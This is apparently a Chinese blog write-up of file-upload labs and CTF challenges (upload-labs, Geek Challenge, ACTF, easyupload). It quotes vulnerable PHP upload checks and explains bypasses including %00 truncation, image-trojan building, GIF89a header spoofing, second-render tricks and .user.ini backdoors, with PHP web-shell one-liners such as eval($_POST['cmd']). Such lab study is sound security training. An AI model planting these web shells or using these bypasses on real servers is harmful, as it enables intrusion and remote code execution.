  • pass:文件名为“shell.pphphp”,直接上传即可

Pass-12

%00截断漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
  • in_array():搜索数组中是否存在指定的值
  • strrpos():查找字符串在另一字符串中最后一次出现的位置(区分大小写)
  • substr():返回字符串的一部分
    这里strrpos($_FILES['upload_file']['name'],".")就是找到.最后一次出现的位置,+1使刚好取到.,那么substr取到的就是文件后缀,所以这里后缀被强行规定了

%00截断

ps:适用于php版本<5.3.4,且服务中器的php.ini中的magic_quotes_gpc = Off,才可以进行%00截断
原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00.
补充:1、C语言标准库中对字符串的处理都会以\0作为字符串结束标志,任何字符串之后都会自动加上’\0’。’\0’的意思是 ASCII 码为 0 的字符,对应的字符是(Null),表示字符串结束符
2、magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤

pass:上传路径是可控的$_GET['save_path'],后面还有一个后缀名需要绕过,并且是以拼接的形式

Pass-13

查看源代码,和第十一关对比,发现接受值变成了post,那么思路就和第十一关一样,不过post方式不会自行解码,所以要对%00进行urldecode
burp可以进行快捷编码,选中%00右键convert selection即可进行快速url编码

也可以这样


把6的ascii改成00

Pass-14

上传图片马
PHP版本>5.3 必须在php.ini中开启allow_url_fopen选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;

$file = fopen($filename, “rb”);是以二进制读取模式打开文件
$strInfo = @unpack(“C2chars”, $bin);这里是解包(用什么打包就用什么解包),然后以二进制输出
intval()对结果进行十进制转换,该函数会返回变量对应的integer数值
这里只会读取判断上传文件的前两个字节,即判断上传文件类型

  • 制作图片马
    1、利用cmd制作
    copy 1.php/b+1.jpg/a 2.jpg
    2、利用Notepad++直接在末尾加上一句话
    效果:
  • pass:将图片马上传,打开include界面,并get传参
    http://127.0.0.1/upload-labs-master/include.php?file=upload/6920230523120607.jpg
    文件包含把文件强制当成php文件解析,所以可以直接用蚁剑连接

文件包含漏洞

1、文件包含:服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行
2、文件包含函数
PHP中文件包含函数有以下四种:

  • include()
  • include_once()
  • require()
  • require_once()
    这四个函数的对比
    1、include在引入不存文件时产生一个警告且脚本还会继续执行,require则会导致一个致命性错误且脚本停止执行。
    2、include_once,require_once函数的作用与include相同,不过它会首先验证是否已包含该文件。如果已经包含,则不再执行。
    3、漏洞产生原因
    文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
    eg:
    1
    2
    3
    $file = $_GET['file'];
    if(isset($file)){
    include $file;
    $_GET[‘file’]参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET[‘file’]的值,执行非预期的操作。

后台使用包含函数include()处理文件中的代码时,如果发生错误,也会继续往下执行。也就是说,虽然前面的图片代码无法执行,但是最后的php代码是可以被执行的

Pass-15

getimagesize图片马

1
2
3
4
5
6
7
8
9
10
11
12
13
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)){
return $ext;
}else{
return false;
}
}else{
return false;
}
  • getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。
  • image_type_to_extension 根据指定的图像类型返回对应的后缀名
  • stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
    这题只是换了一个检验方式,做法同上一题

Pass-16

exif_imagetype() 读取一个图像的第一个字节并检查其签名。简单来说就是判断一个图像的类型
解法同上

Pass-17

二次渲染绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif/jpg/png图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接
补充知识:

1
2
3
4
二次渲染:后端重写文件内容
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像

ps:对于做文件上传之二次渲染建议用GIF图片,相对于简单一点
pass:上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片


[极客大挑战 2019]Upload 1

php标记

1、标准标记
标准标记以结束
标准标记是PHP最常用的标记类型,具有更好的兼容性、可移植性、可复用性

2、短标记
短标记以“”结束
短标记非常简单,但是使用短标记需要在配置文件php.ini中启用short_open_tag选项,短标记在许多环境的默认设置中是不支持的,因此PHP不推荐使用这种标记

1
<? echo “Hello,PHP”;  ?>

3、ASP标记
ASP标记以“<%”开始,以“%>”结束

1
<% echo “Hello,PHP”;  %>

4、SCRIPT标记
SCRIPT标记以“<script language=“php”>”开始,以“</script>”结束

1
<script language=“php”> echo “Hello,PHP”;</script>

SCRIPT标记类似于javascript语言标记,由于PHP一般不推荐使用该标记
在上述四种标记中,只有标准标记和SCRIPT标记能够保证对任何配置都有效

php注释

1、C++风格注释:以“//”开始,到该行结束或PHP标记结束之前的内容都是注释,单行注释
2、C风格注释:C风格注释以“/*”开始,以“*/”结束
3、Shell风格注释:#输出一段话,单行注释

#pass:

先上传一句话木马试试,这里格式直接不变,先上传看看

提示说不是图片,需要抓包改文件格式。将Content-Type里面的格式改为image/jpeg
绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht

前几个php格式的一句话都被b了,比如php3

将文件格式改到phtml可以了,但带<?的一句话都不行
换个一句话木马

1
2
GIF89a <script language="php">eval($_REQUEST[1])</script>
//习惯在文件前加上GIF89a来绕过PHP getimagesize的检查

没加GIF89a如图

然后上传,抓包改文件格式为image/jpeg
拿蚁剑连接,flag在根目录里面

文件头绕过getimagesize()

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。
GIF89a
“GIF89a”经常作为“Graphics Interchange Format number 89A”的缩写来使用,中文表示:“图形交换格式编号89A”
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。

  • 绕过原理
    绕过getimagesize()其实很简单,我们只需要在文件内容的起始位置加上一个GIF89a即可,这样我们的文件就会被认为是一个图片,php的getimagesize()函数也检测不出来我们构造的这个“虚假”的图片是无效的。

[ACTF2020 新生赛]Upload 1

直接尝试上传1.php

是文件限制,打开源代码

return checkFile()删去,继续上传
如果是PHP文件,发现也是不能上传的,说明后端也有验证,直到phtml

攻防世界-easyupload

.user.ini文件形成后门原理就是会在执行所有的php文件之前包含.user.ini所指定的文件,前提是含有.user.ini的文件夹下需要有正常的php文件
上传.user.ini,image/jpeg

1
2
GIF89a 
auto_prepend_file=shell.jpg

再直接上传shell.jpg

1
2
3
4
5
GIF89a
<?=eval($_POST['cmd']);?> //有点小问题

GIF89a
<?=system('cat /flag');?>

访问:http://61.147.171.105:65026/uploads/index.php
image-20231009232956407

<i class="fa fa-angle-left"></i>12345<i class="fa fa-angle-right"></i>

41 posts
10 tags
© 2024 yzklov
Powered by Hexo
|
Theme — NexT.Pisces v5.1.3